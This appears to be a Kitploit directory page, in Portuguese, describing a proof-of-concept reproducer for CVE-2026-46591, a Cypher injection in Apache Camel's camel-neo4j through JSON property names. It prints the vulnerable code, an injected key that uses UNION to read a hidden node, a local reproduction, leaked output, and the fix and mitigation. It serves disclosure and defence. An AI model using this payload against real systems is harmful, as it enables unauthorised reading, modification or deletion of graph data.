Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-46591 — Reprodutor para CVE-2026-46591: injeção Cypher no Apache Camel camel-neo4j por meio de nomes de propriedades em CamelNeo4jMatchProperties, permitindo bypass de autorização / exfiltração de dados entre rótulos (corrigido nas versões 4.14.8/4.18.3/4.21.0) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-46591
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança de Banco de Dados
GitHuboscerd/cve-2026-46591

CVE-2026-46591

Reprodutor para CVE-2026-46591: injeção Cypher no Apache Camel camel-neo4j por meio de nomes de propriedades em CamelNeo4jMatchProperties, permitindo bypass de autorização / exfiltração de dados entre rótulos (corrigido nas versões 4.14.8/4.18.3/4.21.0)

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

camel-neo4j Cypher Injection Reproducer (CVE-2026-46591)

Este projeto demonstra uma injeção Cypher no componente camel-neo4j do Apache Camel, rastreada como CVE-2026-46591. O produtor constrói a cláusula WHERE Cypher para suas operações de correspondência/recuperação e exclusão a partir do mapa CamelNeo4jMatchProperties. CVE-2025-66169 tratou a injeção por meio dos valores das propriedades ao vinculá-los como parâmetros de consulta ($paramN) — mas os nomes das propriedades (as chaves JSON desse mapa) ainda são concatenados na string de consulta literalmente em Neo4jProducer.retrieveNodes() e deleteNode(). Um nome de propriedade contendo sintaxe Cypher portanto altera a estrutura da consulta executada.

Este PoC demonstra o impacto como bypass de autorização / exfiltração de dados: um atacante coloca Cypher em uma chave JSON para que uma busca por :Person seja reescrita (via UNION) para também retornar um nó :Secret que nunca deveria ser acessado — correspondendo ao "ler, modificar ou excluir qualquer nó ou relacionamento" do aviso.

Aviso: https://camel.apache.org/security/CVE-2026-46591.html

Resumo da Vulnerabilidade

Continuação da correção incompleta de CVE-2025-66169 (CAMEL-22719), que parametrizou os valores mas deixou os nomes das propriedades interpolados. Mesma família adjacente a injeção de cabeçalho que CVE-2025-27636, CVE-2026-40453, etc.

Detalhes Técnicos

root@kitploit:~
// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
    if (paramIndex > 0) whereClause.append(" AND ");
    String paramName = "param" + paramIndex;
    whereClause.append(alias).append(".").append(entry.getKey())   // <-- entry.getKey() (the JSON key) unescaped
               .append(" = $").append(paramName);
    queryParams.put(paramName, entry.getValue());                  // value is safely bound
    paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);

Com o mapa benigno {"name":"alice"} a consulta é MATCH (n:Person) WHERE n.name = $param0 RETURN n. Com uma chave maliciosa:

root@kitploit:~
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //

a consulta construída se torna (o // = $param0 RETURN n final do template fica comentado):

root@kitploit:~
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node

portanto a resposta contém o nó :Person do chamador e o nó :Secret.

A correção (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) adiciona validação estrita do nome da propriedade (^[A-Za-z_][A-Za-z0-9_]*$) tanto em retrieveNodes() quanto em deleteNode(), rejeitando qualquer nome que não corresponda com uma Neo4jOperationException.

A rota vítima

root@kitploit:~
from("platform-http:/lookup")
    .convertBodyTo(String.class)
    .setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
    .setHeader(Neo4jHeaders.MATCH_PROPERTIES, body())        // untrusted JSON body becomes the match map
    .to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");

Uma API de "consultar uma pessoa por propriedades": o cliente fornece os critérios de correspondência como JSON, e a rota os entrega ao produtor como CamelNeo4jMatchProperties. O grafo contém dois nós :Person além de um nó :Secret cujo value uma consulta de pessoa nunca deve retornar.

Estrutura do repositório

A vítima é a rota Camel e seu banco de dados Neo4j; o atacante é um cliente HTTP que coloca Cypher em uma chave JSON. Um pequeno seeder insere os nós e condiciona a inicialização à disponibilidade do Neo4j.

root@kitploit:~
CVE-2026-46591/
├── pom.xml                 # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml      # neo4j 5.26 + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Neo4jSettings.java     # host / bolt / creds / secret flag
    │   ├── Neo4jConfig.java       # the Neo4j Driver bean (referenced as #neo4jDriver)
    │   ├── Neo4jSeeder.java       # waits for Neo4j, seeds :Person + :Secret nodes
    │   ├── VictimRoute.java       # platform-http:/lookup -> neo4j RETRIEVE_NODES
    │   └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
    └── resources/
        └── application.properties

Pré-requisitos

  • Docker e Docker Compose (executa Neo4j + o aplicativo)
  • Java 17+ e Maven 3.8+ (para compilar o jar)

Passos para Reprodução

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build           # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

Saída esperada

root@kitploit:~
=== 1) Legitimate lookup  body={"name":"alice"} ===
  [{name=alice, role=user}]
  secret leaked: false

=== 2) Injected lookup  (Cypher in the JSON key) ===
  key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
  [{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
  secret leaked: true

>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true

Vetores de Ataque

Qualquer rota que transporte dados não confiáveis para CamelNeo4jMatchProperties em uma operação RETRIEVE_NODES ou DELETE_NODE. Além de ler outros rótulos via UNION, uma chave injetada pode adicionar cláusulas SET/DELETE/DETACH DELETE para modificar ou destruir nós e relacionamentos arbitrários.

Correção Recomendada

Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528). Após a correção, os nomes das propriedades são validados contra ^[A-Za-z_][A-Za-z0-9_]*$ antes de serem inseridos na consulta.

Mitigação

Até atualizar, não popule CamelNeo4jMatchProperties a partir de entrada não confiável: valide ou coloque na lista de permitidos os nomes das propriedades (por exemplo, contra ^[A-Za-z_][A-Za-z0-9_]*$) antes do produtor Neo4j, e garanta que qualquer consumidor que alimente essa rota filtre os cabeçalhos de entrada Camel* / camel* para que o cabeçalho de correspondência não possa ser fornecido por um remetente externo.

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o use contra sistemas sem permissão explícita.

Baixar ferramenta
PropriedadeValor
Componentecamel-neo4j
Classe Afetadaorg.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (nome da propriedade interpolado na cláusula WHERE)
CWECWE-943 (Neutralização Incorreta de Elementos Especiais na Lógica de Consulta de Dados)
ImpactoInjeção Cypher → ler / modificar / excluir nós e relacionamentos arbitrários
Pré-requisitosUma rota mapeia entrada não confiável para o mapa CamelNeo4jMatchProperties (por exemplo, o corpo da requisição); o cabeçalho tem prefixo Camel, portanto um cliente HTTP simples não pode defini-lo diretamente
Versões AfetadasDe 4.10.0 antes de 4.14.8, de 4.15.0 antes de 4.18.3, de 4.19.0 antes de 4.21.0
Versões Corrigidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23528 (PR apache/camel#23258)
CréditoYu Bao (PayPal)